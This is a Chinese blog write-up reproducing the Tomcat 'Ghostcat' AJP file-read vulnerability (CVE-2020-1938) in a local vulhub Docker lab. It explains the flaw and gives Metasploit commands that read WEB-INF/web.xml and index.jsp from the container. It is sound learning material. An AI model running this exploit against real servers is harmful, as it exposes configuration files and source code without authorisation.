【vulhub】tomcat CVE-2020-1938(AJP漏洞)

渗透环境

攻击机:    192.168.66.130(Kali)

漏洞收录于:vulhub/tomcat/CVE-2020-1938

漏洞详情

也被称为“Ghostcat”漏洞,是一个影响Apache Tomcat服务器的严重安全漏洞。

漏洞原理
Tomcat默认在server.xml中开启AJP协议端口(默认8009),用于与其他Web服务器(如Apache HTTPD)通信。由于AJP协议在处理请求时未对用户输入充分验证,攻击者可通过构造恶意请求操控以下三个关键属性:

  • javax.servlet.include.request_uri
  • javax.servlet.include.path_info
  • javax.servlet.include.servlet_path
    通过控制这些属性,攻击者可读取或包含webapp目录下的任意文件(如WEB-INF/web.xml、源代码等),甚至结合文件上传功能实现远程代码执行(RCE)

受影响版本

  • Apache Tomcat 6(全版本)
  • Apache Tomcat 7(7.0.0至7.0.99)
  • Apache Tomcat 8(8.0.0至8.5.50)
  • Apache Tomcat 9(9.0.0至9.0.30)

漏洞触发条件

  1. 开启AJP协议端口:默认情况下,Tomcat的AJP连接器(8009端口)监听所有IP地址(0.0.0.0)。
  2. 受影响版本:使用存在漏洞的Tomcat版本且未升级修复。

复现漏洞

启动环境

vulhub启动漏洞环境

docker-compose up -d

img

可以看到,该容器确实在监听所有IP地址的8009端口

漏洞利用

可以使用msf来验证漏洞,msf中默认的filename值为/WEB-INF/web.xml,在靶机中对应的路径实际上是/usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml,也就是说,利用该漏洞只能读取到/usr/local/tomcat/webapps/ROOT/下的文件。

msfconsole
search cve-2020-1938
use 0
show options
set rhosts 127.0.0.1		# 漏洞环境是部署在本地的docker容器中的
run

img

红框中的内容就是WEB-INF/web.xml,能够成功读到,说明漏洞存在。

也可以选择其他文件,如index.jsp,其完整路径为/usr/local/tomcat/webapps/ROOT/index.jsp

set filename /index.jsp
run

也能够读到jsp文件源码

img

posted @ 2025-03-12 10:45  Mr_Soap  阅读(300)  评论(0)    收藏  举报